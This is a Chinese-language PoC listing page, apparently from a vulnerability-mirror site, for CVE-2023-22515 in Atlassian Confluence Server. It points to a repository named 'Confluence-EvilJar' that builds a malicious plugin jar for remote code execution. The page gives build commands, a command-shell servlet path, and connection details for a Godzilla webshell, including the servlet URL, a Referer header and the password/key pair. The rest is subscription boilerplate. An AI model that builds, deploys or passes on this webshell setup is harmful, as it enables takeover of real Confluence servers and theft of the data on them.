CVE-2023-22515 PoC — Atlassian Confluence Server 安全漏洞

来源

https://github.com/aaaademo/Confluence-EvilJar

关联漏洞

标题: Atlassian Confluence Server 安全漏洞 (CVE-2023-22515)
Description:Atlassian Confluence Server是澳大利亚Atlassian公司的一套具有企业知识管理功能，并支持用于构建企业WiKi的协同软件的服务器版本。 Atlassian Confluence Server存在安全漏洞，该漏洞源于外部攻击者可能利用可公开访问的Confluence Data Center和Confluence Serve，用未知的漏洞来创建Confluence 管理员帐户并访问 Confluence 实例。

Description

配合 CVE-2023-22515 后台上传jar包实现RCE

介绍


## aaaademo/Confluence-EvilJar

> 配合 CVE-2023-22515 后台上传jar包实现RCE
```bash
git clone https://github.com/aaaademo/Confluence-EvilJar
cd Confluence-EvilJar
mvn package
```

### CMDshell

```
http://confluence.local/plugins/servlet/testbin/cmServlet

```

### 哥斯拉webshell连接方式

```
http://confluence.local/plugins/servlet/testbin/gzServlet

Referer: https://www.baidu.com/

p@ssw0rd / key
```

文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看

备注

1. 建议优先通过来源进行访问。

2. 本地 POC 快照面向订阅用户开放；当原始来源失效或无法访问时，本地镜像作为订阅权益的一部分提供。

查看订阅方案 →

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

CVE-2023-22515 PoC — Atlassian Confluence Server 安全漏洞

来源

关联漏洞

Description

介绍

文件快照

备注

目标达成感谢每一位支持者 — 我们达成了 100% 目标！